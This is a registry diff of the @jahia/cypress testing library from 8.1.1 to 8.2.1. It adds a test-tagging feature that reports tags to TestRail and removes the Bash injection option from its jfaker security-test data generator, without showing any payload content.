@jahia/cypress 8.1.1 → 8.2.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +8 -0
- package/dist/support/contextReporter.d.ts +38 -0
- package/dist/support/contextReporter.js +110 -0
- package/dist/support/index.d.ts +1 -0
- package/dist/support/index.js +1 -0
- package/dist/support/jfaker.d.ts +0 -1
- package/dist/support/jfaker.js +2 -5
- package/dist/support/registerSupport.js +7 -0
- package/docs/context-reporter.md +104 -0
- package/docs/jfaker.md +3 -6
- package/package.json +2 -1
- package/src/support/contextReporter.ts +96 -0
- package/src/support/index.ts +1 -0
- package/src/support/jfaker.ts +2 -5
- package/src/support/registerSupport.ts +8 -0
- package/tests/cypress/e2e/jfaker.spec.ts +2 -3
- package/tsconfig.json +1 -0
- package/dist/injections/bash-data.d.ts +0 -1
- package/dist/injections/bash-data.js +0 -57
- package/src/injections/bash-data.ts +0 -54
package/CHANGELOG.md
CHANGED
|
@@ -1,5 +1,13 @@
|
|
|
1
1
|
# @jahia/cypress Changelog
|
|
2
2
|
|
|
3
|
+
## 8.2.1
|
|
4
|
+
|
|
5
|
+
* Temporary remove bash injections which can be treated by antivirus as a potentially unsafe. They will be reworked and brought back later on. (#224)
|
|
6
|
+
|
|
7
|
+
## 8.2.0
|
|
8
|
+
|
|
9
|
+
* Add `context.tag()` function for adding tags (user-defined labels) that can be attached to test suites and individual tests to provide metadata about test characteristics, scope, and purpose (#221)
|
|
10
|
+
|
|
3
11
|
## 8.1.1
|
|
4
12
|
|
|
5
13
|
* Use default Jahia ref. while fetching version; fail safe when version can't be fetched.
|
|
@@ -0,0 +1,38 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Tag a test suite or individual test.
|
|
3
|
+
*
|
|
4
|
+
* Tags are user-defined labels that provide metadata about tests. They are collected during
|
|
5
|
+
* test execution and synchronized to TestRail test cases by jahia-reporter, enabling filtering,
|
|
6
|
+
* categorization, and custom dashboard reporting.
|
|
7
|
+
*
|
|
8
|
+
* - Call inside `describe()` to tag every test in the suite (tags are inherited by all nested tests).
|
|
9
|
+
* - Call inside `it()` to tag only that specific test.
|
|
10
|
+
*
|
|
11
|
+
* Tags are:
|
|
12
|
+
* - Collected and stored in the mochawesome report under each test's `context` field
|
|
13
|
+
* - Automatically synced to TestRail by jahia-reporter for dashboard and filtering
|
|
14
|
+
* - Deduplicated (each unique tag appears once per test)
|
|
15
|
+
* - Inherited by nested describe blocks
|
|
16
|
+
*
|
|
17
|
+
* @param {string[]} tags - array of tags to be added
|
|
18
|
+
* @return {void}
|
|
19
|
+
*
|
|
20
|
+
* @example
|
|
21
|
+
* import {context} from '@jahia/cypress';
|
|
22
|
+
* describe('My suite', () => {
|
|
23
|
+
* context.tag('smoke', 'regression', 'p0');
|
|
24
|
+
*
|
|
25
|
+
* it('my test', () => {
|
|
26
|
+
* context.tag('critical');
|
|
27
|
+
* // effective tags: ['smoke', 'regression', 'p0', 'critical']
|
|
28
|
+
* });
|
|
29
|
+
* });
|
|
30
|
+
*
|
|
31
|
+
* @see docs/context-reporter.md for details
|
|
32
|
+
*/
|
|
33
|
+
declare function tag(...tags: string[]): void;
|
|
34
|
+
/** Public export */
|
|
35
|
+
export declare const context: {
|
|
36
|
+
tag: typeof tag;
|
|
37
|
+
};
|
|
38
|
+
export {};
|
|
@@ -0,0 +1,110 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
var __spreadArray = (this && this.__spreadArray) || function (to, from, pack) {
|
|
3
|
+
if (pack || arguments.length === 2) for (var i = 0, l = from.length, ar; i < l; i++) {
|
|
4
|
+
if (ar || !(i in from)) {
|
|
5
|
+
if (!ar) ar = Array.prototype.slice.call(from, 0, i);
|
|
6
|
+
ar[i] = from[i];
|
|
7
|
+
}
|
|
8
|
+
}
|
|
9
|
+
return to.concat(ar || Array.prototype.slice.call(from));
|
|
10
|
+
};
|
|
11
|
+
var __importDefault = (this && this.__importDefault) || function (mod) {
|
|
12
|
+
return (mod && mod.__esModule) ? mod : { "default": mod };
|
|
13
|
+
};
|
|
14
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
15
|
+
exports.context = void 0;
|
|
16
|
+
exports.collect = collect;
|
|
17
|
+
/* eslint-disable @typescript-eslint/no-explicit-any */
|
|
18
|
+
var addContext_1 = __importDefault(require("mochawesome/addContext"));
|
|
19
|
+
/**
|
|
20
|
+
* Tag a test suite or individual test.
|
|
21
|
+
*
|
|
22
|
+
* Tags are user-defined labels that provide metadata about tests. They are collected during
|
|
23
|
+
* test execution and synchronized to TestRail test cases by jahia-reporter, enabling filtering,
|
|
24
|
+
* categorization, and custom dashboard reporting.
|
|
25
|
+
*
|
|
26
|
+
* - Call inside `describe()` to tag every test in the suite (tags are inherited by all nested tests).
|
|
27
|
+
* - Call inside `it()` to tag only that specific test.
|
|
28
|
+
*
|
|
29
|
+
* Tags are:
|
|
30
|
+
* - Collected and stored in the mochawesome report under each test's `context` field
|
|
31
|
+
* - Automatically synced to TestRail by jahia-reporter for dashboard and filtering
|
|
32
|
+
* - Deduplicated (each unique tag appears once per test)
|
|
33
|
+
* - Inherited by nested describe blocks
|
|
34
|
+
*
|
|
35
|
+
* @param {string[]} tags - array of tags to be added
|
|
36
|
+
* @return {void}
|
|
37
|
+
*
|
|
38
|
+
* @example
|
|
39
|
+
* import {context} from '@jahia/cypress';
|
|
40
|
+
* describe('My suite', () => {
|
|
41
|
+
* context.tag('smoke', 'regression', 'p0');
|
|
42
|
+
*
|
|
43
|
+
* it('my test', () => {
|
|
44
|
+
* context.tag('critical');
|
|
45
|
+
* // effective tags: ['smoke', 'regression', 'p0', 'critical']
|
|
46
|
+
* });
|
|
47
|
+
* });
|
|
48
|
+
*
|
|
49
|
+
* @see docs/context-reporter.md for details
|
|
50
|
+
*/
|
|
51
|
+
function tag() {
|
|
52
|
+
var _a;
|
|
53
|
+
var tags = [];
|
|
54
|
+
for (var _i = 0; _i < arguments.length; _i++) {
|
|
55
|
+
tags[_i] = arguments[_i];
|
|
56
|
+
}
|
|
57
|
+
if (Cypress.currentTest) {
|
|
58
|
+
// Inside it() — Cypress is running a test, attach tags directly to the Mocha runnable
|
|
59
|
+
var runnable = cy.state('runnable');
|
|
60
|
+
runnable._tags = __spreadArray(__spreadArray([], ((_a = runnable._tags) !== null && _a !== void 0 ? _a : []), true), tags, true);
|
|
61
|
+
}
|
|
62
|
+
else {
|
|
63
|
+
// Inside describe() — collection phase, schedule a before() hook to tag the suite
|
|
64
|
+
before(function () {
|
|
65
|
+
var _a, _b;
|
|
66
|
+
var suite = (_a = this.currentTest) === null || _a === void 0 ? void 0 : _a.parent;
|
|
67
|
+
if (suite) {
|
|
68
|
+
var taggedSuite = suite;
|
|
69
|
+
taggedSuite._tags = __spreadArray(__spreadArray([], ((_b = taggedSuite._tags) !== null && _b !== void 0 ? _b : []), true), tags, true);
|
|
70
|
+
}
|
|
71
|
+
});
|
|
72
|
+
}
|
|
73
|
+
}
|
|
74
|
+
/**
|
|
75
|
+
* Internal function to collect all tags upon 'test:after:run' event and add them to the mochawesome context.
|
|
76
|
+
*
|
|
77
|
+
* Walks up the suite chain to collect inherited tags and combines them with test-specific tags.
|
|
78
|
+
* The collected tags are added to the test context in the mochawesome report, where jahia-reporter
|
|
79
|
+
* can extract them and sync to the corresponding TestRail test case.
|
|
80
|
+
*
|
|
81
|
+
* @param test
|
|
82
|
+
* @param runnable
|
|
83
|
+
* @internal to be used in registerSupport only
|
|
84
|
+
*/
|
|
85
|
+
function collect(test, runnable) {
|
|
86
|
+
var _a, _b;
|
|
87
|
+
var taggedRunnable = runnable;
|
|
88
|
+
// Add video context
|
|
89
|
+
// addContext({test}, {title: 'video', value: `videos/${Cypress.spec.relative.replace('/.cy.*', '').replace('cypress/e2e/', '')}.mp4`});
|
|
90
|
+
// Walk up the suite chain (outermost first) to collect inherited suite tags
|
|
91
|
+
var suiteTags = [];
|
|
92
|
+
var parent = taggedRunnable.parent;
|
|
93
|
+
while (parent) {
|
|
94
|
+
if ((_a = parent._tags) === null || _a === void 0 ? void 0 : _a.length) {
|
|
95
|
+
suiteTags.unshift.apply(suiteTags, parent._tags);
|
|
96
|
+
}
|
|
97
|
+
parent = parent.parent;
|
|
98
|
+
}
|
|
99
|
+
// Collect all unique tags (suite + test) and add to context
|
|
100
|
+
var allTags = Array.from(new Set(__spreadArray(__spreadArray([], suiteTags, true), ((_b = taggedRunnable._tags) !== null && _b !== void 0 ? _b : []), true)));
|
|
101
|
+
if (allTags.length > 0) {
|
|
102
|
+
(0, addContext_1.default)({ test: test }, { title: 'tags', value: allTags });
|
|
103
|
+
}
|
|
104
|
+
// Add screenshot context if test failed
|
|
105
|
+
// if (test.state === 'failed') {
|
|
106
|
+
// addContext({test}, {title: 'screenshot', value: `screenshots/${Cypress.spec.relative.replace('cypress/e2e/', '')}/${runnable.parent.title} -- ${test.title} (failed).png`});
|
|
107
|
+
// }
|
|
108
|
+
}
|
|
109
|
+
/** Public export */
|
|
110
|
+
exports.context = { tag: tag };
|
package/dist/support/index.d.ts
CHANGED
package/dist/support/index.js
CHANGED
package/dist/support/jfaker.d.ts
CHANGED
|
@@ -22,7 +22,6 @@
|
|
|
22
22
|
* Available injection methods:
|
|
23
23
|
* - `.xss()` - Generate XSS injection payloads
|
|
24
24
|
* - `.sql()` - Generate SQL injection payloads
|
|
25
|
-
* - `.bash()` - Generate Bash injection payloads
|
|
26
25
|
* - `.chars()` - Generate random special characters
|
|
27
26
|
* - `.htmlentities()` - Generate HTML entities
|
|
28
27
|
* - `.numbers()` - Generate random numbers entities and edge cases
|
package/dist/support/jfaker.js
CHANGED
|
@@ -28,14 +28,12 @@ var faker_1 = require("@faker-js/faker");
|
|
|
28
28
|
// Import injection data from corresponding files in injections-ts directory
|
|
29
29
|
var xss_data_1 = require("../injections/xss-data");
|
|
30
30
|
var sql_data_1 = require("../injections/sql-data");
|
|
31
|
-
var bash_data_1 = require("../injections/bash-data");
|
|
32
31
|
var chars_data_1 = require("../injections/chars-data");
|
|
33
32
|
var htmlentities_data_1 = require("../injections/htmlentities-data");
|
|
34
33
|
var numbers_data_1 = require("../injections/numbers-data");
|
|
35
34
|
var injectionData = {
|
|
36
35
|
xss: xss_data_1.xssData,
|
|
37
36
|
sql: sql_data_1.sqlData,
|
|
38
|
-
bash: bash_data_1.bashData,
|
|
39
37
|
chars: chars_data_1.charsData,
|
|
40
38
|
htmlentities: htmlentities_data_1.htmlentitiesData,
|
|
41
39
|
numbers: numbers_data_1.numbersData
|
|
@@ -48,7 +46,7 @@ var ENV_INJECTIONS_TYPE = 'JAHIA_CYPRESS_INJECTION_TYPE';
|
|
|
48
46
|
var injectionsDefaultLength = { min: 2, max: 5 };
|
|
49
47
|
/**
|
|
50
48
|
* Store FakeData type in Cypress env for persistence across specs
|
|
51
|
-
* @param {string} type FakeData type: 'faker' | 'xss' | 'sql' | '
|
|
49
|
+
* @param {string} type FakeData type: 'faker' | 'xss' | 'sql' | 'chars' | 'htmlentities' | 'numbers'
|
|
52
50
|
* @returns void
|
|
53
51
|
*/
|
|
54
52
|
function setDataType(type) {
|
|
@@ -63,7 +61,7 @@ function getDataType() {
|
|
|
63
61
|
}
|
|
64
62
|
/**
|
|
65
63
|
* Generate injection data based on the specified type and length
|
|
66
|
-
* @param {string} type Injection type to generate (xss, sql,
|
|
64
|
+
* @param {string} type Injection type to generate (xss, sql, chars, htmlentities, numbers)
|
|
67
65
|
* @param {number} length Length of the generated injection (optional)
|
|
68
66
|
* @returns {string} Generated injection string
|
|
69
67
|
*/
|
|
@@ -171,7 +169,6 @@ var DeepApi = /** @class */ (function () {
|
|
|
171
169
|
* Available injection methods:
|
|
172
170
|
* - `.xss()` - Generate XSS injection payloads
|
|
173
171
|
* - `.sql()` - Generate SQL injection payloads
|
|
174
|
-
* - `.bash()` - Generate Bash injection payloads
|
|
175
172
|
* - `.chars()` - Generate random special characters
|
|
176
173
|
* - `.htmlentities()` - Generate HTML entities
|
|
177
174
|
* - `.numbers()` - Generate random numbers entities and edge cases
|
|
@@ -21,6 +21,7 @@ var repeatUntil_1 = require("./repeatUntil");
|
|
|
21
21
|
var testStep_1 = require("./testStep");
|
|
22
22
|
var jfaker_1 = require("./jfaker");
|
|
23
23
|
var modSince_1 = require("./modSince");
|
|
24
|
+
var contextReporter_1 = require("./contextReporter");
|
|
24
25
|
var registerSupport = function () {
|
|
25
26
|
Cypress.Commands.add('apolloClient', apollo_1.apolloClient);
|
|
26
27
|
Cypress.Commands.add('apollo', { prevSubject: 'optional' }, apollo_1.apollo);
|
|
@@ -56,5 +57,11 @@ var registerSupport = function () {
|
|
|
56
57
|
var newOptions = __assign({ parseSpecialCharSequences: parseSpecialCharSequences }, options);
|
|
57
58
|
return originalFn(element, text, newOptions);
|
|
58
59
|
});
|
|
60
|
+
/**
|
|
61
|
+
* Listen to the 'test:after:run' event to collect tags and other context information after each test execution.
|
|
62
|
+
*/
|
|
63
|
+
Cypress.on('test:after:run', function (test, runnable) {
|
|
64
|
+
(0, contextReporter_1.collect)(test, runnable);
|
|
65
|
+
});
|
|
59
66
|
};
|
|
60
67
|
exports.registerSupport = registerSupport;
|
|
@@ -0,0 +1,104 @@
|
|
|
1
|
+
# Context Reporter: Test Tags and Integration with TestRail
|
|
2
|
+
|
|
3
|
+
## Overview
|
|
4
|
+
|
|
5
|
+
Test tags are user-defined labels that can be attached to test suites and individual tests to provide metadata about test characteristics, scope, and purpose. Tags are collected during test execution and included in the mochawesome test report.
|
|
6
|
+
|
|
7
|
+
## Integration with TestRail and jahia-reporter
|
|
8
|
+
|
|
9
|
+
Tags defined in Cypress tests are **automatically synchronized to TestRail test cases** by the `jahia-reporter` tool during the test reporting phase. This enables:
|
|
10
|
+
|
|
11
|
+
- **Test categorization** in TestRail for better organization
|
|
12
|
+
- **Dashboard filtering** based on test characteristics
|
|
13
|
+
- **Reporting dashboards** that slice data by tag combinations (e.g., smoke tests, regression, performance, critical path)
|
|
14
|
+
- **Traceability** linking test runs to business requirements or feature areas
|
|
15
|
+
|
|
16
|
+
## Usage
|
|
17
|
+
|
|
18
|
+
### Basic Syntax
|
|
19
|
+
|
|
20
|
+
Use the `tag()` function to attach one or more tags:
|
|
21
|
+
|
|
22
|
+
```typescript
|
|
23
|
+
import {context} from '@jahia/cypress';
|
|
24
|
+
|
|
25
|
+
describe('Authentication', () => {
|
|
26
|
+
context.tag('smoke', 'critical');
|
|
27
|
+
|
|
28
|
+
it('should login successfully', () => {
|
|
29
|
+
context.tag('p1'); // Add P1 severity
|
|
30
|
+
cy.login();
|
|
31
|
+
cy.url().should('include', '/home');
|
|
32
|
+
});
|
|
33
|
+
|
|
34
|
+
it('should logout successfully', () => {
|
|
35
|
+
cy.logout();
|
|
36
|
+
});
|
|
37
|
+
});
|
|
38
|
+
```
|
|
39
|
+
|
|
40
|
+
### Where to Call
|
|
41
|
+
|
|
42
|
+
- **In `describe()`**: Tags apply to **all nested tests** in the suite (inherited by child suites and tests)
|
|
43
|
+
- **In `it()`**: Tags apply to **only that specific test**
|
|
44
|
+
- **Both**: Combine suite-level and test-level tags (both are collected)
|
|
45
|
+
|
|
46
|
+
### Example: Multi-Level Tagging
|
|
47
|
+
|
|
48
|
+
```typescript
|
|
49
|
+
import {context} from '@jahia/cypress';
|
|
50
|
+
|
|
51
|
+
describe('Content Management', () => {
|
|
52
|
+
context.tag('regression', 'content'); // Suite-level tags
|
|
53
|
+
|
|
54
|
+
describe('Publishing Workflow', () => {
|
|
55
|
+
context.tag('critical'); // Additional suite-level tag
|
|
56
|
+
|
|
57
|
+
it('should publish page', () => {
|
|
58
|
+
context.tag('p0', 'smoke'); // Test-level tags
|
|
59
|
+
// effective tags: ['regression', 'content', 'critical', 'p0', 'smoke']
|
|
60
|
+
});
|
|
61
|
+
|
|
62
|
+
it('should unpublish page', () => {
|
|
63
|
+
// effective tags: ['regression', 'content', 'critical']
|
|
64
|
+
});
|
|
65
|
+
});
|
|
66
|
+
});
|
|
67
|
+
```
|
|
68
|
+
|
|
69
|
+
## Implementation Details
|
|
70
|
+
- Tags are collected during test execution via Mocha hooks and then added to the test's `context`.
|
|
71
|
+
- Suite tags are inherited by nested describe blocks and tests.
|
|
72
|
+
- All unique tags are deduplicated.
|
|
73
|
+
|
|
74
|
+
Tags are stored as an object (`{title: <title>, value: <value>}`) in order to be properly parsed by mocha html-reporter.
|
|
75
|
+
Example:
|
|
76
|
+
```json
|
|
77
|
+
{title: 'tags', value: ['tag1', 'tag2', 'tag3']}
|
|
78
|
+
```
|
|
79
|
+
|
|
80
|
+
Finally, the `context` field in Cypress report will contain a stringified JSON array of tags meta-info along with other context information added by the user.
|
|
81
|
+
|
|
82
|
+
Example of `context` field in the report (note - array contains both tags meta-info and user-added context info like video path; array is stringified by `mochawesome` reporter):
|
|
83
|
+
```json
|
|
84
|
+
"context": "[\n {\n \"title\": \"tags\",\n \"value\": [\n \"graphql-api-upa\",\n \"upa\",\n \"custom-factor\",\n \"P1\",\n \"authentication\"\n ]\n },\n \"videos/graphQL.mfa.customFactor.cy.ts.mp4\"\n]",
|
|
85
|
+
```
|
|
86
|
+
This `context` field will be parsed by `jahia-reporter` afterward to extract the tags and sync them to `TestRail`. If the `context` field doesn't contain tags in expected format, it will be ignored by `jahia-reporter` and labels in `TestRail` won't be updated.
|
|
87
|
+
|
|
88
|
+
|
|
89
|
+
## Best Practices
|
|
90
|
+
|
|
91
|
+
1. **Use consistent tag names** across your test suite
|
|
92
|
+
2. **Keep tag values simple** (lowercase, no spaces, use hyphens for multi-word tags)
|
|
93
|
+
3. **Avoid overtagging** — use a reasonable number of tags (3-5 per test)
|
|
94
|
+
4. **Combine categories** — mix priority, type, and feature tags for flexibility
|
|
95
|
+
5. **Use suite-level tags** for common characteristics (saves repetition)
|
|
96
|
+
6. **Add test-level tags** for exceptions or special cases
|
|
97
|
+
|
|
98
|
+
## Troubleshooting
|
|
99
|
+
|
|
100
|
+
### Tags not appearing in TestRail
|
|
101
|
+
- Ensure `context.tag()` is called at the right scope (in `describe()` or `it()`)
|
|
102
|
+
- Check that jahia-reporter is configured to sync tags to TestRail
|
|
103
|
+
- Verify the test report is being generated and contains `context` attribute with tags
|
|
104
|
+
|
package/docs/jfaker.md
CHANGED
|
@@ -7,7 +7,7 @@ The `jfaker` module is a flexible fake data generation utility for Cypress testi
|
|
|
7
7
|
## Key Features
|
|
8
8
|
|
|
9
9
|
- **Faker.js Integration**: Full access to all `Faker.js` methods for generating realistic test data
|
|
10
|
-
- **Security Injection Payloads**: Built-in support for common injection attack vectors (XSS, SQL,
|
|
10
|
+
- **Security Injection Payloads**: Built-in support for common injection attack vectors (XSS, SQL, etc.)
|
|
11
11
|
- **Global Type Management**: Set a global data type that automatically overrides faker calls with injection data
|
|
12
12
|
- **Flexible Configuration**: Control generation behavior with options like length, provider, and overridability
|
|
13
13
|
- **Dynamic API**: Chain method calls naturally (e.g., `jfaker.person.firstName()`)
|
|
@@ -53,7 +53,6 @@ Generate security testing payloads for various attack vectors:
|
|
|
53
53
|
|
|
54
54
|
- **`.xss()`** - Cross-Site Scripting (XSS) payloads
|
|
55
55
|
- **`.sql()`** - SQL injection payloads
|
|
56
|
-
- **`.bash()`** - Bash/shell command injection payloads
|
|
57
56
|
- **`.chars()`** - Random special characters
|
|
58
57
|
- **`.htmlentities()`** - HTML entities
|
|
59
58
|
- **`.numbers()`** - Number-based edge cases and payloads
|
|
@@ -63,7 +62,6 @@ Generate security testing payloads for various attack vectors:
|
|
|
63
62
|
// Default behavior (no length specified): 2-5 random items joined
|
|
64
63
|
jfaker.xss() // Returns: random XSS payload
|
|
65
64
|
jfaker.sql() // Returns: random SQL injection payload
|
|
66
|
-
jfaker.bash() // Returns: random Bash injection payload
|
|
67
65
|
```
|
|
68
66
|
|
|
69
67
|
**With Length Control:**
|
|
@@ -84,7 +82,7 @@ jfaker.sql({length: -1}) // Returns: all SQL payloads joined together
|
|
|
84
82
|
Sets the global data type for all subsequent jfaker calls. When set to an injection type, all faker method calls will return injection data instead.
|
|
85
83
|
|
|
86
84
|
**Parameters:**
|
|
87
|
-
- `type`: One of `'faker'`, `'xss'`, `'sql'`, `'
|
|
85
|
+
- `type`: One of `'faker'`, `'xss'`, `'sql'`, `'chars'`, `'htmlentities'`, or `'numbers'`
|
|
88
86
|
|
|
89
87
|
**Usage:**
|
|
90
88
|
```typescript
|
|
@@ -263,7 +261,7 @@ describe('Security Test Suite - SQL Injection', () => {
|
|
|
263
261
|
|
|
264
262
|
```typescript
|
|
265
263
|
describe('Input Field Robustness', () => {
|
|
266
|
-
const injectionTypes = ['xss', 'sql', '
|
|
264
|
+
const injectionTypes = ['xss', 'sql', 'chars', 'htmlentities', 'numbers'];
|
|
267
265
|
|
|
268
266
|
injectionTypes.forEach(type => {
|
|
269
267
|
it(`should handle ${type} injection payloads`, () => {
|
|
@@ -355,7 +353,6 @@ The module uses a `DeepApi` class that implements a Proxy-based architecture:
|
|
|
355
353
|
Injection payloads are imported from TypeScript files in the `src/injections/` directory:
|
|
356
354
|
- `xss-data.ts` - XSS attack vectors
|
|
357
355
|
- `sql-data.ts` - SQL injection patterns
|
|
358
|
-
- `bash-data.ts` - Shell command injections
|
|
359
356
|
- `chars-data.ts` - Special characters
|
|
360
357
|
- `htmlentities-data.ts` - HTML entity variations
|
|
361
358
|
- `numbers-data.ts` - Numeric edge cases
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@jahia/cypress",
|
|
3
|
-
"version": "8.
|
|
3
|
+
"version": "8.2.1",
|
|
4
4
|
"scripts": {
|
|
5
5
|
"build": "tsc",
|
|
6
6
|
"lint": "eslint src -c .eslintrc.json --ext .ts --max-warnings=0"
|
|
@@ -31,6 +31,7 @@
|
|
|
31
31
|
"eslint-plugin-jest": "^29.15.0",
|
|
32
32
|
"eslint-plugin-react": "^7.32.2",
|
|
33
33
|
"eslint-plugin-react-hooks": "^4.6.0",
|
|
34
|
+
"mochawesome": "^6.3.1",
|
|
34
35
|
"typescript": "^5.9.3"
|
|
35
36
|
},
|
|
36
37
|
"dependencies": {
|
|
@@ -0,0 +1,96 @@
|
|
|
1
|
+
/* eslint-disable @typescript-eslint/no-explicit-any */
|
|
2
|
+
import addContext from 'mochawesome/addContext';
|
|
3
|
+
|
|
4
|
+
type TaggedRunnable = Mocha.Runnable & {_tags?: string[]};
|
|
5
|
+
type TaggedSuite = Mocha.Suite & {_tags?: string[]};
|
|
6
|
+
|
|
7
|
+
/**
|
|
8
|
+
* Tag a test suite or individual test.
|
|
9
|
+
*
|
|
10
|
+
* Tags are user-defined labels that provide metadata about tests. They are collected during
|
|
11
|
+
* test execution and synchronized to TestRail test cases by jahia-reporter, enabling filtering,
|
|
12
|
+
* categorization, and custom dashboard reporting.
|
|
13
|
+
*
|
|
14
|
+
* - Call inside `describe()` to tag every test in the suite (tags are inherited by all nested tests).
|
|
15
|
+
* - Call inside `it()` to tag only that specific test.
|
|
16
|
+
*
|
|
17
|
+
* Tags are:
|
|
18
|
+
* - Collected and stored in the mochawesome report under each test's `context` field
|
|
19
|
+
* - Automatically synced to TestRail by jahia-reporter for dashboard and filtering
|
|
20
|
+
* - Deduplicated (each unique tag appears once per test)
|
|
21
|
+
* - Inherited by nested describe blocks
|
|
22
|
+
*
|
|
23
|
+
* @param {string[]} tags - array of tags to be added
|
|
24
|
+
* @return {void}
|
|
25
|
+
*
|
|
26
|
+
* @example
|
|
27
|
+
* import {context} from '@jahia/cypress';
|
|
28
|
+
* describe('My suite', () => {
|
|
29
|
+
* context.tag('smoke', 'regression', 'p0');
|
|
30
|
+
*
|
|
31
|
+
* it('my test', () => {
|
|
32
|
+
* context.tag('critical');
|
|
33
|
+
* // effective tags: ['smoke', 'regression', 'p0', 'critical']
|
|
34
|
+
* });
|
|
35
|
+
* });
|
|
36
|
+
*
|
|
37
|
+
* @see docs/context-reporter.md for details
|
|
38
|
+
*/
|
|
39
|
+
function tag(...tags: string[]): void {
|
|
40
|
+
if (Cypress.currentTest) {
|
|
41
|
+
// Inside it() — Cypress is running a test, attach tags directly to the Mocha runnable
|
|
42
|
+
const runnable = (cy as any).state('runnable') as TaggedRunnable;
|
|
43
|
+
runnable._tags = [...(runnable._tags ?? []), ...tags];
|
|
44
|
+
} else {
|
|
45
|
+
// Inside describe() — collection phase, schedule a before() hook to tag the suite
|
|
46
|
+
before(function () {
|
|
47
|
+
const suite = this.currentTest?.parent;
|
|
48
|
+
if (suite) {
|
|
49
|
+
const taggedSuite = suite as TaggedSuite;
|
|
50
|
+
taggedSuite._tags = [...(taggedSuite._tags ?? []), ...tags];
|
|
51
|
+
}
|
|
52
|
+
});
|
|
53
|
+
}
|
|
54
|
+
}
|
|
55
|
+
|
|
56
|
+
/**
|
|
57
|
+
* Internal function to collect all tags upon 'test:after:run' event and add them to the mochawesome context.
|
|
58
|
+
*
|
|
59
|
+
* Walks up the suite chain to collect inherited tags and combines them with test-specific tags.
|
|
60
|
+
* The collected tags are added to the test context in the mochawesome report, where jahia-reporter
|
|
61
|
+
* can extract them and sync to the corresponding TestRail test case.
|
|
62
|
+
*
|
|
63
|
+
* @param test
|
|
64
|
+
* @param runnable
|
|
65
|
+
* @internal to be used in registerSupport only
|
|
66
|
+
*/
|
|
67
|
+
export function collect(test: any, runnable: any): void {
|
|
68
|
+
const taggedRunnable = runnable as TaggedRunnable;
|
|
69
|
+
// Add video context
|
|
70
|
+
// addContext({test}, {title: 'video', value: `videos/${Cypress.spec.relative.replace('/.cy.*', '').replace('cypress/e2e/', '')}.mp4`});
|
|
71
|
+
|
|
72
|
+
// Walk up the suite chain (outermost first) to collect inherited suite tags
|
|
73
|
+
const suiteTags: string[] = [];
|
|
74
|
+
let parent = taggedRunnable.parent as TaggedSuite | undefined;
|
|
75
|
+
while (parent) {
|
|
76
|
+
if (parent._tags?.length) {
|
|
77
|
+
suiteTags.unshift(...parent._tags);
|
|
78
|
+
}
|
|
79
|
+
|
|
80
|
+
parent = parent.parent as TaggedSuite | undefined;
|
|
81
|
+
}
|
|
82
|
+
|
|
83
|
+
// Collect all unique tags (suite + test) and add to context
|
|
84
|
+
const allTags = Array.from(new Set([...suiteTags, ...(taggedRunnable._tags ?? [])]));
|
|
85
|
+
if (allTags.length > 0) {
|
|
86
|
+
addContext({test}, {title: 'tags', value: allTags});
|
|
87
|
+
}
|
|
88
|
+
|
|
89
|
+
// Add screenshot context if test failed
|
|
90
|
+
// if (test.state === 'failed') {
|
|
91
|
+
// addContext({test}, {title: 'screenshot', value: `screenshots/${Cypress.spec.relative.replace('cypress/e2e/', '')}/${runnable.parent.title} -- ${test.title} (failed).png`});
|
|
92
|
+
// }
|
|
93
|
+
}
|
|
94
|
+
|
|
95
|
+
/** Public export */
|
|
96
|
+
export const context = {tag};
|
package/src/support/index.ts
CHANGED
package/src/support/jfaker.ts
CHANGED
|
@@ -18,7 +18,6 @@ import {faker} from '@faker-js/faker';
|
|
|
18
18
|
// Import injection data from corresponding files in injections-ts directory
|
|
19
19
|
import {xssData} from '../injections/xss-data';
|
|
20
20
|
import {sqlData} from '../injections/sql-data';
|
|
21
|
-
import {bashData} from '../injections/bash-data';
|
|
22
21
|
import {charsData} from '../injections/chars-data';
|
|
23
22
|
import {htmlentitiesData} from '../injections/htmlentities-data';
|
|
24
23
|
import {numbersData} from '../injections/numbers-data';
|
|
@@ -26,7 +25,6 @@ import {numbersData} from '../injections/numbers-data';
|
|
|
26
25
|
const injectionData: Record<string, string[]> = {
|
|
27
26
|
xss: xssData,
|
|
28
27
|
sql: sqlData,
|
|
29
|
-
bash: bashData,
|
|
30
28
|
chars: charsData,
|
|
31
29
|
htmlentities: htmlentitiesData,
|
|
32
30
|
numbers: numbersData
|
|
@@ -42,7 +40,7 @@ const injectionsDefaultLength = {min: 2, max: 5};
|
|
|
42
40
|
|
|
43
41
|
/**
|
|
44
42
|
* Store FakeData type in Cypress env for persistence across specs
|
|
45
|
-
* @param {string} type FakeData type: 'faker' | 'xss' | 'sql' | '
|
|
43
|
+
* @param {string} type FakeData type: 'faker' | 'xss' | 'sql' | 'chars' | 'htmlentities' | 'numbers'
|
|
46
44
|
* @returns void
|
|
47
45
|
*/
|
|
48
46
|
function setDataType(type: string): void {
|
|
@@ -59,7 +57,7 @@ function getDataType(): string | undefined {
|
|
|
59
57
|
|
|
60
58
|
/**
|
|
61
59
|
* Generate injection data based on the specified type and length
|
|
62
|
-
* @param {string} type Injection type to generate (xss, sql,
|
|
60
|
+
* @param {string} type Injection type to generate (xss, sql, chars, htmlentities, numbers)
|
|
63
61
|
* @param {number} length Length of the generated injection (optional)
|
|
64
62
|
* @returns {string} Generated injection string
|
|
65
63
|
*/
|
|
@@ -175,7 +173,6 @@ class DeepApi {
|
|
|
175
173
|
* Available injection methods:
|
|
176
174
|
* - `.xss()` - Generate XSS injection payloads
|
|
177
175
|
* - `.sql()` - Generate SQL injection payloads
|
|
178
|
-
* - `.bash()` - Generate Bash injection payloads
|
|
179
176
|
* - `.chars()` - Generate random special characters
|
|
180
177
|
* - `.htmlentities()` - Generate HTML entities
|
|
181
178
|
* - `.numbers()` - Generate random numbers entities and edge cases
|
|
@@ -7,6 +7,7 @@ import {repeatUntil} from './repeatUntil';
|
|
|
7
7
|
import {step} from './testStep';
|
|
8
8
|
import {jfaker} from './jfaker';
|
|
9
9
|
import {modSince} from './modSince';
|
|
10
|
+
import {collect as contextCollector} from './contextReporter';
|
|
10
11
|
|
|
11
12
|
export const registerSupport = (): void => {
|
|
12
13
|
